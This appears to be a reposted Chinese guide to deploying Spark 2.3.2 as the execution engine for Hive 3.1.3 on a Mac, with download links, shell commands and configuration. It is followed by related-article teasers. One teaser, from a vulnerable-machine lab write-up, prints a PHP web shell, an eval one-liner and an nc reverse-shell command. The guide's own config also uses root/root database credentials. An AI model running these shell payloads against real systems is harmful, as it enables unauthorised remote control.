Mac M3 Pro 部署Spark-2.3.2 On Hive-3.1.3

mac的配置如下

1、下载安装包

官网

Apache Projects Releases

在search中搜索hadoop、hive

spark : Index of /dist/spark/spark-2.3.2

网盘

Hadoop https://pan.baidu.com/s/1p4BXq2mvby2B76lmpiEjnA?pwd=r62r 提取码: r62r

Hive  https://pan.baidu.com/s/12PUQfy_mi914wd6p7iWsBw?pwd=bnrr 提取码: bnrr

Spark二进制包  https://pan.baidu.com/s/1fJ5yRH_9K7VFlixBJ1MH1g?pwd=v987 提取码: v987

Spark源码打好的包 https://pan.baidu.com/s/1H0OxQOnuswBfoIZjNB8jEA?pwd=9yks 提取码: 9yks

Spark源码包 https://pan.baidu.com/s/1p_IRlhwT1eQxrIK3jVHbww?pwd=bhkx 提取码: bhkx

Zookeeper https://pan.baidu.com/s/1j6iy5bZkrY-GKGItenRB2w?pwd=irrx 提取码: irrx

mysql-connector-java-8.0.15.jar https://pan.baidu.com/s/1YHVMrG66lIHVHEH-jcUsVQ?pwd=4ipc 提取码: 4ipc

与hive兼容的spark版本可通过hive源码的pom.xml中查看

2、解压安装

Hadoop、Zookeeper 请查看

 Mac M3 Pro安装Hadoop-3.3.6-CSDN博客

Mac M3 Pro 安装 Zookeeper-3.4.6-CSDN博客

mysql 可直接使用 brew install mysql 进行安装

# 将安装包移动到目标目录
mv ~/Download/apache-hive-3.1.3-bin.tar.gz /opt/module
mv ~/Download/spark-2.3.2-bin-without-hadoop.tgz /opt/module# 进入目标目录
cd /opt/module# 解压安装包
tar -zxvf apache-hive-3.1.3-bin.tar.gz
tar -zxvf spark-2.3.2-bin-without-hadoop.tgz# 修改目录名
mv apache-hive-3.1.3-bin hive
mv spark-2.3.2-bin-without-hadoop spark# 添加mysql-connector-java-8.0.15.jar到lib目录
mv ~/Download/mysql-connector-java-8.0.15.jar /opt/module/hive/lib# 添加环境变量sudo vim /etc/profileexport JAVA_HOME="/Library/Java/JavaVirtualMachines/jdk8/Contents/Home"
export MYSQL_HOME="/opt/homebrew/Cellar/mysql@8.0/8.0.36_1"export JRE_HOME=${JAVA_HOME}/jre
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export HADOOP_HOME=/opt/module/hadoop
export JAVA_LIBRARY_PATH="$HADOOP_HOME/lib/native"
export HADOOP_COMMON_LIB_NATIVE_DIR="$HADOOP_HOME/lib/native"
export HADOOP_LOG_DIR=$HADOOP_HOME/logs
export HADOOP_MAPRED_HOME=$HADOOP_HOME
export HADOOP_COMMON_HOME=$HADOOP_HOME
export HADOOP_HDFS_HOME=$HADOOP_HOME
export YARN_HOME=$HADOOP_HOME
export HIVE_HOME=/opt/module/hive
export HIVE_CONF_DIR=$HIVE_HOME/conf
export HIVE_AUX_JARS_PATH=$HIVE_HOME/lib
export HADOOP_USER_NAME=hdfs
export SPARK_HOME=/opt/module/spark
export ZOOKEEPER_HOME=/opt/module/zookeeper
export PATH="$JAVA_HOME/bin:$MYSQL_HOME/bin:$HADOOP_HOME/bin:$HADOOP_HOME/sbin:$HIVE_HOME/bin:$SPARK_HOME/bin:$ZOOKEEPER_HOME/bin:$PATH:."# 保存后使其生效
source /etc/profile

3、修改配置

cd /opt/module/hive/conf
cp hive-env.sh.template hive-env.sh
cp hive-default.xml.template hive-site.xml
vim hive-env.sh
# 添加
export HADOOP_HEAPSIZE=4096vim hive-site.xml# 下面的内容与本地环境比较,存在的则修改,不存在的则添加
<property><name>hive.execution.engine</name><value>spark</value></property>
<property><name>hive.metastore.warehouse.dir</name><value>/user/hive/warehouse</value></property><property><name>javax.jdo.option.ConnectionURL</name><value>jdbc:mysql://127.0.0.1:3306/hive?createDatabaseIfNotExist=true&amp;useSSL=false</value></property><property><name>javax.jdo.option.ConnectionDriverName</name><value>com.mysql.cj.jdbc.Driver</value></property><property><name>javax.jdo.option.ConnectionUserName</name><value>root</value></property><property><name>javax.jdo.option.ConnectionPassword</name><value>root</value></property><!--元数据是否校验--><property><name>hive.metastore.schema.verification</name><value>false</value></property><property><name>hive.server2.thrift.port</name><value>10000</value><description>Port number of HiveServer2 Thrift interface when hive.server2.transport.mode is 'binary'.</description></property><property><name>spark.yarn.jars</name><value>hdfs:///spark/spark-jars/*.jar</value></property><property><name>hive.spark.client.connect.timeout</name><value>1000ms</value></property><property><name>hive.exec.scratchdir</name> <value>/tmp/hive</value></property><property><name>hive.querylog.location</name><value>${java.io.tmpdir}/${user.name}</value></property><property><name>hive.server2.thrift.port</name><value>10000</value></property><property><name>hive.server2.webui.host</name><value>0.0.0.0</value></property><property><name>hive.server2.webui.port</name><value>10002</value></property> <property><name>hive.server2.long.polling.timeout</name><value>5000ms</value></property><property><name>hive.server2.enable.doAs</name><value>false</value></property><property><name>spark.home</name><value>/opt/module/spark</value></property> <property><name>spark.master</name><value>spark://127.0.0.1:7077</value></property><property><name>spark.submit.deployMode</name><value>client</value></property> <property><name>spark.eventLog.enabled</name><value>true</value></property><property><name>spark.eventLog.dir</name><value>hdfs:///spark/log</value></property><property><name>spark.serializer</name><value>org.apache.spark.serializer.KryoSerializer</value></property><property><name>spark.executor.memeory</name><value>8g</value></property><property><name>spark.driver.memeory</name><value>8g</value></property><property><name>spark.executor.extraJavaOptions</name><value>-XX:+PrintGCDetails -Dkey=value -Dnumbers="one two three"</value></property><property><name>hive.support.concurrency</name><value>true</value></property><property><name>hive.exec.dynamic.partition.mode</name><value>nonstrict</value></property>
cd /opt/module/spark/conf
cp slaves.template slaves
vim slaves# 末尾添加
127.0.0.1cp spark-env.sh.template spark-env.shvim spark-env.sh# 末尾添加export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk8/Contents/Home
export SPARK_DIST_CLASSPATH=$(/opt/module/hadoop/bin/hadoop classpath)
export HADOOP_CONF_DIR=${HADOOP_HOME}/etc/hadoop/export SPARK_MASTER_HOST=127.0.0.1
export SPARK_MASTER_PORT=7077
export SPARK_MASTER_HOST=127.0.0.1
export SPARK_LOCAL_IP=127.0.0.1
export SPARK_EXECUTOR_MEMORY=8192mcp spark-defaults.conf.template spark-defaults.confvim spark-defaults.conf# 末尾添加spark.master                     spark://master:7077
spark.home                       /opt/module/spark
spark.eventLog.enabled           true
spark.eventLog.dir               hdfs:///spark/log
spark.serializer                 org.apache.spark.serializer.KryoSerializer
spark.executor.memory            4g
spark.driver.memory              4g
spark.executor.extraJavaOptions  -XX:+PrintGCDetails -Dkey=value -Dnumbers="one two three"
spark.yarn.archive               hdfs:///spark/jars/spark2.3.2-without-hive-libs.jar
spark.yarn.jars                  hdfs:///spark/jars/spark2.3.2-without-hive-libs.jar# 拷贝hive-site.xml到spark的conf目录cp /opt/module/hive/conf/hive-site.xml /opt/module/spark/conf

 4、将spark的jars上传到hdfs

# hdfs上创建必要的目录
hdfs dfs -mkdir /tmp
hdfs dfs -mkdir /tmp/hive
hdfs dfs -mkdir /tmp/logs
hdfs dfs -mkdir /tmp/sparkhdfs dfs -mkdir /spark
hdfs dfs -mkdir /spark/jars
hdfs dfs -mkdir /spark/spark-jars
hdfs dfs -mkdir /spark/log# 安装目录创建目录
mkdir -p  $SPARK_HOME/work  $SPARK_HOME/logs  $SPARK_HOME/run
mkdir -p  $HIVE_HOME/logs# Spark 安装包默认会缺少 log4j slf4j 和 hadoop-comment之类的jar包,需要从hadoop、hive按照包目录中去复制到jars下去,如果没有就从开发时的maven仓库中去拷贝,或者到下载的spark-package-2.3.2.tgz中获取slf4j-api-1.7.21.jar
slf4j-log4j12-1.7.21.jar
log4j-1.2-api-2.17.1.jar
log4j-api-2.17.1.jar
log4j-core-2.17.1.jar
log4j-slf4j-impl-2.17.1.jar
log4j-web-2.17.1.jar
hadoop-common-3.3.6.jar
spark-network-common_2.11-2.3.2.jar# 进入spark安装包目录,将jars进行打包
cd /opt/module/sparkjar cv0f spark-2.3.2-without-hive-libs.jar -C ./jars .# 在hdfs上创建存放jar包目录
hdfs dfs -put spark2.3.2-without-hive-libs.jar /spark/jars/
hdfs dfs -put jars/* /spark/spark-jars

5、mysql中创建hive库

CREATE DATABASE hive;

6、hive初始化数据库

cd /opt/module/hive/binschematool -initSchema -dbType mysql --verbose

7、启动Spark

# 先跑一下测试示例验证spark是否正常
cd /opt/module/spark/binspark-submit \
--class org.apache.spark.examples.SparkPi \
--master yarn \
--deploy-mode client \
--driver-memory 1G \
--num-executors 3 \
--executor-memory 1G \
--executor-cores 1 \
/opt/module/spark/examples/jars/spark-examples_*.jar 10# 如果出现下面的计算结果则表示成功
Pi is roughly 3.1391191391191393# 启动spark
cd ..
./bin/start-all.sh# 通过jps查看进程是否正常
jps -l# 查看是否有如下进程
org.apache.spark.deploy.master.Master
org.apache.spark.deploy.worker.Worker
org.apache.spark.executor.CoarseGrainedExecutorBackend# 如未启动成功请到日志目录中/opt/module/spark/logs 查看时间为最近的日志文件,根据报错进程排查
# 启动成功后可访问web ui界面,打开地址 http://127.0.0.1:8080/

8、启动HIVE

cd /opt/module/hivenohup ./bin/hive --service metastore &
nohup ./bin/hive --service hiveserver2 &# 检查是否启动成功ps -ef | grep HiveMetaStoreps -ef | grep hiveserver2# 如果启动失败 可以tail -999f nohup.out文件# 如果成功则可以看下hive的webui界面,http://127.0.0.1:10002/

9、检查是否成功

# 使用beeline 进入hive
beeline -u 'jdbc:hive2://127.0.0.1:10000'select version();select current_user();set hive.execution.engine;# 创建表 t1CREATE TABLE `t1`(`id` bigint,`name` string,`address` string);# 向表t1中插入数据INSERT INTO t1 VALUES(1,'one','beijing'),(2,'two','shanghai'),(3,'three','guangzhou'),(4,'four','shenzhen'),(5,'five','huzhou'),(6,'six','jiaxing'),(7,'seven','ningbo'),(8,'eight','shaoxing'),(9,'nine','nanjing');

10、执行表操作后查看控制台

参考地址

https://blog.csdn.net/qq_35745940/article/details/122152096

https://www.cnblogs.com/lenmom/p/10356643.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/27794.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

el-table表头修改文字或者背景颜色,通过header-row-style设置样式

方式一 <el-table :header-cell-style"{text-align: center}" />方式二 <template><el-table :header-cell-style"tableHeaderColor" /> </template> <script> export default {methods: {tableHeaderColor ({row, column…

RabbitMQ实践——交换器(Exchange)绑定交换器

在《RabbitMQ实践——交换器&#xff08;Exchange&#xff09;和绑定&#xff08;Banding&#xff09;》一文中&#xff0c;我们实验了各种交换器。我们可以把交换器看成消息发布的入口&#xff0c;而消息路由规则则是由“绑定关系”&#xff08;Banding&#xff09;来定义&…

小分子水半幅宽检测 低氘水同位素氘检测 富氢水检测

小分子水半幅宽检测 低氘水同位素氘检测 富氢水检测 检测范围: 矿泉水等饮用水 检测概述 小分子团水活化性很强&#xff0c;具有强渗透力&#xff0c;强溶解力&#xff0c;强扩散力。水的含氧量高&#xff0c;能给人体内的组织细胞带来更多的氧。长自来水大分子团核磁共振测得…

【计算机毕业设计】基于springboot的大创管理系统【源码+lw+部署文档】

包含论文源码的压缩包较大&#xff0c;请私信或者加我的绿色小软件获取 免责声明&#xff1a;资料部分来源于合法的互联网渠道收集和整理&#xff0c;部分自己学习积累成果&#xff0c;供大家学习参考与交流。收取的费用仅用于收集和整理资料耗费时间的酬劳。 本人尊重原创作者…

C# TextBox模糊查询及输入提示

在程序中&#xff0c;我们经常会遇到文本框中不知道输入什么内容&#xff0c;这时我们可以在文本框中显示提示词提示用户&#xff1b;或者需要查询某个内容却记不清完整信息&#xff0c;通常可以通过文本框列出与输入词相匹配的信息&#xff0c;帮助用户快速索引信息。 文本框…

外链建设如何进行?

理解dofollow和nofollow链接&#xff0c;所谓dofollow链接&#xff0c;就是可以传递权重到你的网站的链接&#xff0c;这种链接对你的网站排名非常有帮助&#xff0c;这种链接可以推动你的网站在搜索结果中的位置向上爬&#xff0c;但一个网站全是这种有用的链接&#xff0c;反…

【已解决】引用官网的 Element-Message 消息框居然报错为什么呢?

vue 版本 &#xff1a; vue3 编程语言&#xff1a;JavaScript os: macos13 组件 &#xff1a;element-plus 问题组件&#xff1a; Message 信息框 问题&#xff1a;想学习使用 element 官网里的组件&#xff0c;我找到了message 消息提示&#xff0c;然后我就把代码复制下来放到…

Node.js和npm的安装及配置

Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境。Node.js 使用了一个事件驱动、非阻塞 I/O 的模型。 npm&#xff08;node package manager&#xff09;是一个 Node.js 包管理和分发工具&#xff0c;也是整个 Node.js 社区最流行、支持第三方模块最多的包管理器。使…

【FireSim/Chipyard】解决FireSim Repo Setup步骤中Conda的firesim环境下载失败的问题

【FireSim/Chipyard】解决FireSim Repo Setup步骤中Conda的firesim环境下载失败的问题 问题描述 按照U250官方文档下载Conda环境的时候&#xff0c;即语句./scripts/machine-launch-script.sh --prefix REPLACE_ME_USER_CONDA_LOCATION的时候会遇到以下报错&#xff1a; Sol…

30KW高原汽油发电机,海拔5000米可使用

大汉动力高原汽油发电机是专为高原地区设计的发电设备&#xff0c;其设计和特性考虑了高原环境的特别性。以下是关于高原汽油发电机的一些关键信息&#xff1a; 设计特点&#xff1a; 高原适应性&#xff1a;高原地区海拔高&#xff0c;空气稀薄&#xff0c;氧气含量低&#x…

CrossOver 2024软件安装包下载

CrossOver不像Parallels或VMware的模拟器&#xff0c;而是实实在在Mac OS X系统上运行的一个软件。CrossOvers能够直接在Mac上运行Windows软件与游戏&#xff0c;而不需虚拟机。它为Windows软件提供所需的资源&#xff0c;以达到在Mac OS X系统上运行Windows程序的目的。 安 装…

Spring Security——结合JWT实现令牌的验证与授权

目录 JWT&#xff08;JSON Web Token&#xff09; 项目总结 新建一个SpringBoot项目 pom.xml PayloadDto JwtUtil工具类 MyAuthenticationSuccessHandler&#xff08;验证成功处理器&#xff09; JwtAuthenticationFilter&#xff08;自定义token过滤器&#xff09; W…

Printing and Exporting

打印 大多数DevExpress。NET控件&#xff08;XtraGrid、XtraPivotGrid、XttraTreeList、XtraScheduler、XtraCharts&#xff09;提供打印和导出功能。 所有可打印的DevExpress.NET控件是使用XtraPrinting库提供的方法打印的。 若要确定预览和打印选项是否可用&#xff0c;请检…

适合加密货币交易者的免费指标

本文介绍了7种用于分析加密货币市场的免费技术指标&#xff0c;帮助交易者和投资者提升交易技巧和盈利能力。原文: Best 7 Free Trading Indicators for Every Cryptocurrency Trader Austin Distel Unsplash 大家好&#xff01;无论是加密货币市场的交易者还是投资者&#xff…

可解析PHP的反弹shell方法

这里拿vulnhub-DC-8靶场反弹shell&#xff0c;详情见Vulnhub-DC-8 命令执行 拿nc举例 <?php echo system($_POST[cmd]); ?>利用是hackbar&#xff0c;POST提交cmdnc -e /bin/sh 192.168.20.128 6666, 直接反弹shell到kali。 一句话木马 <?php eval($_POST[&qu…

算法day26

第一题 429. N 叉树的层序遍历 本题的要求我们可以通过队列来辅助完成层序遍历&#xff1b; 如下图的n叉树&#xff1a; 步骤一&#xff1a; 我们定义一个队列&#xff0c;先进行根节点入队列操作&#xff1b; 步骤二&#xff1a; 我们进行当前队列每一个元素的出队列操作&…

嵌入式学习——Linux高级编程复习(UDP编程)——day43

1. UDP编程——函数接口 1.1 socket 1. 定义 int socket(int domain, int type, int protocol); 2. 功能 创建一个用来进程通信的套接字,返回文件描述符 3. 参数 domain:AF_INET IPv4协议族 type:SOCK_STREAM 流式套接字 tcp传输协议…

2024新消费特点---探索消费升级与品牌力量

最近看到不少消费视频&#xff0c;想起之前听过江南春的一场分享&#xff0c;结尾总结了张思维导图&#xff0c;分享给大家&#xff01; 随着时代的变迁&#xff0c;消费者的需求和市场环境也在不断演进。今天&#xff0c;我们将深入探讨消费升级的深层含义以及品牌如何在竞争…

集成学习 Ensemble Learning

目录 一、集成学习概览1、介绍2、学习器3、boosting和bagging比较1、样本选择2、样例权重3、预测函数4、计算5、其他 4、结合策略 二、Adaboost1、介绍2、运行过程3、特点4、代码示例 三、随机森林1、介绍2、随机森林生成3、特点4、优缺点5、代码示例6、参数介绍 四、GBDT1、介…

新火种AI|苹果终于迈进了AI时代,是创新还是救赎?

作者&#xff1a;一号 编辑&#xff1a;美美 苹果的AI战略&#xff0c;能够成为它的救命稻草吗&#xff1f; 苹果&#xff0c;始终以其独特的创新能力引领着行业的发展方向。在刚结束不久的2024年的全球开发者大会&#xff08;WWDC&#xff09;上&#xff0c;苹果再次证明了…